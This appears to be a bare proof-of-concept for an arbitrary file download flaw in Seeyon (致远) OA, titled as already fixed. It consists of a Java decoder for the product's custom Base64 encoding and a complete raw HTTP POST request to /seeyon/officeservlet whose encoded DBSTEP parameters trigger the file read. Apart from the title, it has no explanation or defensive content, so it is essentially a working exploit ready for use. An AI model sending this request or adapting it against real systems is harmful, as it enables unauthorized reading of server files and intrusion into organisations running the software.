致远OA任意文件下载漏洞(已修复)

public String DecodeBase64(String Value) {    ByteArrayOutputStream o = new ByteArrayOutputStream();    String m = "";    byte[] d = new byte[4];    try {        int count = 0;        byte[] x = Value.getBytes();        while (count < x.length) {            for (int n = 0; n <= 3; ++n) {                if (count >= x.length) {                    d[n] = 64;                } else {                    int y = this._$903.indexOf(x[count]);                    if (y < 0) {                        y = 65;                    }                    d[n] = (byte)y;                }                ++count;            }            o.write((byte)(((d[0] & 63) << 2) + ((d[1] & 48) >> 4)));            if (d[2] == 64) continue;            o.write((byte)(((d[1] & 15) << 4) + ((d[2] & 60) >> 2)));            if (d[3] == 64) continue;            o.write((byte)(((d[2] & 3) << 6) + (d[3] & 63)));        }    }    catch (StringIndexOutOfBoundsException e) {        this._$907 = this._$907 + e.toString();        System.out.println(e.toString());    }    try {        m = o.toString(this.Charset);    }    catch (UnsupportedEncodingException ea) {        System.out.println(ea.toString());    }    return m;}

POST /seeyon/officeservlet HTTP/1.1Host: 192.168.1.1:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 395DBSTEP V3.0     331             0               0               currentUserId=zUCTwigsziCAPLesw4gsw4oEwV66RECORDID=wLehP4whzUoiw=66CREATEDATE=wLehP4whzUoiw=66originalFileId=wV66needReadFile=NrMGyV66originalCreateDate=wLehP4whzUoiw=66OPTION=LKDxOWOWLlxwVlOWCOMMAND=BSTLOlMSOCQwOV66TEMPLATE=qf85qfDEyYMJdrxiqEzQyaQvcfDaOSo0BST1qENQefTucYs6affairMemberId=wV66affairMemberName=N1liNg66